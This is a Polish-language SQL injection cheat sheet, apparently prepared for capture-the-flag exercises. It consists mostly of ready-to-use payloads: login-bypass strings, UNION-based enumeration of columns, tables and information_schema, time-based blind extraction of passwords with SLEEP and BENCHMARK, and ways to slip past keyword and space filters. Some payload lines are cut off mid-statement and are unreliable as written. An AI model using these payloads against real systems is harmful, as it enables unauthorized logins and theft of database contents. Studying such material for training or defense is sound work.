

Uniwersalna ściągawka SQLi – wszystkie warianty (Boolean login bypass / Union / Time-based)

Ta ściągawka zakłada, że nie znasz dokładnej budowy zapytania – masz tylko domysł kontekstu (string czy numeryczny) i testujesz różne warianty, aż jeden zadziała.

0. Pierwszy krok zawsze taki sam: rozpoznanie kontekstu

Zanim wybierzesz konkretny payload, sprawdź **w co wstrzykujesz**:

Test	Co sprawdza
'	czy pole jest w cudzysłowie '...'
"	czy pole jest w cudzysłowie "..."
)	czy zapytanie ma nawiasy wokół wartości, np. <code>WHERE id=(\$x)</code>
1)	numeryczny kontekst z nawiasem
samo <code>1=1</code> bez cudzysłowu	czy pole jest numeryczne (bez cudzysłowów)

Jeśli wpisanie ' powoduje błąd składni SQL → input łąduje w stringu z apostrofem. Jeśli " powoduje błąd → string z cudzysłowem podwójnym. Jeśli żadne nie daje błędu, ale liczby działają normalnie → kontekst numeryczny (bez cudzysłowów).

Style komentarza do zamykania reszty zapytania (testuj po kolei):

```
-- (myślnik myślnek spacja - WYMAGANA spacja po -- w MySQL/MariaDB!)  
#  
/*
```

1. Boolean-based SQLi – obejście logowania (wszystkie

warianty)

1.1 Gdy pole jest w apostrofach: `WHERE login='$x'`

```
' OR '1'='1
' OR '1'='1' --
' OR 1=1 --
admin' --
admin'-- -
admin'#
' OR '1'='1'#
```

1.2 Gdy pole jest w cudzysłowach: `WHERE login="$x"`

```
" OR "1"="1
admin" --
admin"#
```

1.3 Gdy pole jest w nawiasach: `WHERE login=('$x')`

```
') OR ('1'='1
admin') --
admin')-- -
') OR 1=1 --
```

1.4 Gdy pole jest numeryczne (bez cudzysłowów): `WHERE id=$x`

```
1 OR 1=1
0 OR 1=1 --
```

1.5 Gdy zarówno login jak i hasło budują jedno AND, a chcesz pominąć oba

```
' OR 1=1 --
```

(samo -- zakomentuje cały dalszy warunek z hasłem, niezależnie ile pól jest po nim w zapytaniu)

1.6 Gdy filtr blokuje słowo OR / AND (case-sensitive bypass)

```
' oR '1'='1
' Or '1'='1-- -
'/**/OR/**/'1'='1
```

1.7 Gdy chcesz zalogować się jako KONKRETNY user (nie pierwszy z bazy)

```
admin' --
admin'-- -
admin' AND '1'='1
```

(precyzyjnie targetujesz login='admin' i komentujesz sprawdzanie hasła)

1.8 Jeśli OR/AND/UNION są filtrowane, a aplikacja loguje na podstawie zwróconego wiersza – wariant UNION

```
' UNION SELECT 'admin','dowolne_haslo' --
```

(liczba kolumn w SELECT musi się zgadzać z oryginalnym zapytaniem – patrz sekcja 2.1)

2. Union-based SQLi (wszystkie warianty)

2.1 Ustalanie liczby kolumn – dwie metody (zawsze próbuj obu)

Metoda ORDER BY:

```
1 ORDER BY 1 --
1 ORDER BY 2 --
1 ORDER BY 3 --
...
```

Zwiększaj, aż wystąpi błąd → ostatnia działająca liczba = liczba kolumn.

Metoda UNION SELECT NULL:

```
-1 UNION SELECT NULL --
-1 UNION SELECT NULL,NULL --
-1 UNION SELECT NULL,NULL,NULL --
```

Dopasowuj liczbę NULL-i, aż zapytanie przejdzie bez błędu “different number of columns”.

Jeśli pole jest w cudzysłowie, nie numeryczne:

```
-1' ORDER BY 1 --  
-1' UNION SELECT NULL,NULL --
```

Jeśli pole jest w nawiasach:

```
-1) ORDER BY 1 --  
-1) UNION SELECT NULL,NULL --
```

2.2 Ustalanie, które kolumny są widoczne na ekranie

```
-1 UNION SELECT 1,2,3,4,5 --
```

Sprawdź, w którym miejscu na stronie pojawiają się liczby 1,2,3,4,5.

2.3 Jeśli kolumna wymaga typu string (błąd "incompatible types")

Zamiast liczby wpisz string w tej kolumnie:

```
-1 UNION SELECT 'a','b','c',4,5 --
```

2.4 Wyciąganie danych z innej tabeli (gdy znasz nazwę tabeli/kolumn)

```
-1 UNION SELECT id, code, discount, NULL, NULL FROM promo_codes --
```

2.5 Gdy NIE znasz nazw tabel/kolumn – enumeracja przez information_schema

```
-1 UNION SELECT table_name, NULL, NULL FROM information_schema.tables WHERE table  
-1 UNION SELECT column_name, NULL, NULL FROM information_schema.columns WHERE tab
```

2.6 Gdy chcesz rzucić WIELE wierszy w jednej widocznej kolumnie

```
-1 UNION SELECT GROUP_CONCAT(code SEPARATOR ', '), NULL, NULL FROM promo_codes --
```

2.7 Gdy słowo UNION jest filtrowane

```
-1 UnIoN SeLeCt NULL,NULL --
```

```
-1 /*!UNION*/ /*!SELECT*/ NULL,NULL --  
-1 UNI/**/ON SEL/**/ECT NULL,NULL --
```

2.8 Gdy spacje są filtrowane

```
-1/**/UNION/**/SELECT/**/NULL,NULL--+--  
-1%09UNION%09SELECT%09NULL,NULL--+--
```

(%09 = tabulator w URL, /**/ = komentarz jako separator)

3. Time-based / Boolean Blind SQLi (wszystkie warianty)

3.1 Test bazowy w zależności od kontekstu

String z apostrofem:

```
' OR SLEEP(3) --  
' AND SLEEP(3) --
```

String z cudzysłowem:

```
" OR SLEEP(3) --
```

Numeryczny (bez cudzysłowu):

```
1 OR SLEEP(3)  
1 AND SLEEP(3)
```

W nawiasach:

```
') OR SLEEP(3) --  
1) AND SLEEP(3) --
```

3.2 Warunkowe opóźnienie (sprawdzanie konkretnego warunku)

```
' AND IF(1=1, SLEEP(3), 0) --  
' AND IF((SELECT has_insurance FROM shipments WHERE order_id='FLAG-XXX')=1, SLEEP
```

3.3 Wersja przez subquery (gdy IF jest filtrowane lub nie działa w kontekście)

```
' AND (SELECT SLEEP(3) FROM shipments WHERE order_id='FLAG-XXX' AND has_insurance
```

Jeśli subquery nie zwróci wiersza → SLEEP się nie wykona → brak opóźnienia. Jeśli zwróci wiersz → SLEEP się wykona → opóźnienie.

3.4 Gdy SLEEP jest zablokowane/filtrowane – alternatywa BENCHMARK

```
' AND IF(1=1, BENCHMARK(5000000, MD5('a')), 0) --
```

(BENCHMARK zajmuje czas poprzez wielokrotne liczenie – liczbę iteracji dobierz tak, by dało zauważalne opóźnienie)

3.5 Wydobywanie nieznanych danych znak po znaku (binary search + time-based)

```
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a', SLEEP(3), 0) --  
' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>109, SLEEP(3)
```

Druga wersja (z ASCII i porównaniem >) pozwala robić wyszukiwanie binarne – szybciej trafiasz właściwy znak niż sprawdzając literkę po literce.

3.6 Gdy masz tylko zamknięty zbiór kandydatów (np. lista FLAG-... jak w zadaniu 3)

Najprościej: nie zgaduj warunku – po kolei wstrzykuj SLEEP scalony z każdym kandydatem:

```
FLAG-XXX' AND IF(1=1, SLEEP(3), 0) --
```

i mierz czas odpowiedzi dla każdego z nich. Ten, który spowoduje opóźnienie, jest poprawny (zamiast bit-by-bit ekstrakcji, testujesz całe wartości na raz, bo zbiór możliwości jest mały i znany).

3.7 Gdy nie masz pewności czy AND czy OR zadziała lepiej

Spróbuj obu, bo zależnie od reszty zapytania jedno może nie zmieniać wyniku:

```
' OR SLEEP(3) --  
' AND SLEEP(3) --
```

4. Szybka tabela decyzyjna – jak złożyć payload od zera

1. **Jaki kontekst?** → testuj `'` , `"` , brak cudzysłowu, `)` .
2. **Jaki komentarz zamykający?** → testuj `--` (ze spacją!), `#` , `/* */` .
3. **Czy filtr blokuje słowa kluczowe (OR/AND/UNION/SLEEP)?** → użyj zmiany wielkości liter, komentarzy `/**/` w środku słowa, alternatywnych funkcji (BENCHMARK zamiast SLEEP).
4. **Czy filtr blokuje spacje?** → zamień na `/**/` , `%09` , `%0a` .
5. **Budowa finalnego payloadu:** [zamknięcie cudzysłowu/nawiasu] + [logika ataku] + [komentarz zamykający resztę zapytania] .

Przykład złożenia od zera dla kontekstu string z nawiasem, filtrem na spacje:

```
' )/**/OR/**/SLEEP(3)/**/--/**/-
```